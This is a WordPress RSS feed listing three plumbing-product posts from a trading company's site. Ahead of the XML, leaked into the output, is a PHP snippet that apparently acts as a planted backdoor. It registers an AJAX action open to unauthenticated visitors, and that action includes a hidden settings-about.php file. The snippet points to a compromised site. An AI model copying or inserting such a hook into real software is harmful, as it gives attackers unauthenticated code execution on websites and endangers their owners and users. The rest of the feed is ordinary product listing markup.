if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Plumbing Products - Seven Spikes General Trading LLC</title>
	<atom:link href="https://www.sevenspikesgt.com/product-category/mep-products/plumbing-products/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.sevenspikesgt.com/product-category/mep-products/plumbing-products/</link>
	<description></description>
	<lastBuildDate>Sat, 14 May 2022 04:00:40 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1</generator>
	<item>
		<title>PVC Plumbing Material</title>
		<link>https://www.sevenspikesgt.com/product/pvc-plumbing-material/</link>
		
		<dc:creator><![CDATA[seven_spikes]]></dc:creator>
		<pubDate>Sat, 14 May 2022 04:00:39 +0000</pubDate>
				<guid isPermaLink="false">https://web-app-portal.com/demo/sevenspikes/?post_type=product&#038;p=13106</guid>

					<description><![CDATA[<p>The post <a href="https://www.sevenspikesgt.com/product/pvc-plumbing-material/">PVC Plumbing Material</a> appeared first on <a href="https://www.sevenspikesgt.com">Seven Spikes General Trading LLC</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The post <a href="https://www.sevenspikesgt.com/product/pvc-plumbing-material/">PVC Plumbing Material</a> appeared first on <a href="https://www.sevenspikesgt.com">Seven Spikes General Trading LLC</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Plumbing Fixtures</title>
		<link>https://www.sevenspikesgt.com/product/plumbing-fixtures/</link>
		
		<dc:creator><![CDATA[seven_spikes]]></dc:creator>
		<pubDate>Sat, 14 May 2022 03:58:41 +0000</pubDate>
				<guid isPermaLink="false">https://web-app-portal.com/demo/sevenspikes/?post_type=product&#038;p=13103</guid>

					<description><![CDATA[<p>The post <a href="https://www.sevenspikesgt.com/product/plumbing-fixtures/">Plumbing Fixtures</a> appeared first on <a href="https://www.sevenspikesgt.com">Seven Spikes General Trading LLC</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The post <a href="https://www.sevenspikesgt.com/product/plumbing-fixtures/">Plumbing Fixtures</a> appeared first on <a href="https://www.sevenspikesgt.com">Seven Spikes General Trading LLC</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Plumbing Supply Store</title>
		<link>https://www.sevenspikesgt.com/product/plumbing-supply-store/</link>
		
		<dc:creator><![CDATA[seven_spikes]]></dc:creator>
		<pubDate>Sat, 14 May 2022 03:56:32 +0000</pubDate>
				<guid isPermaLink="false">https://web-app-portal.com/demo/sevenspikes/?post_type=product&#038;p=13100</guid>

					<description><![CDATA[<p>The post <a href="https://www.sevenspikesgt.com/product/plumbing-supply-store/">Plumbing Supply Store</a> appeared first on <a href="https://www.sevenspikesgt.com">Seven Spikes General Trading LLC</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The post <a href="https://www.sevenspikesgt.com/product/plumbing-supply-store/">Plumbing Supply Store</a> appeared first on <a href="https://www.sevenspikesgt.com">Seven Spikes General Trading LLC</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>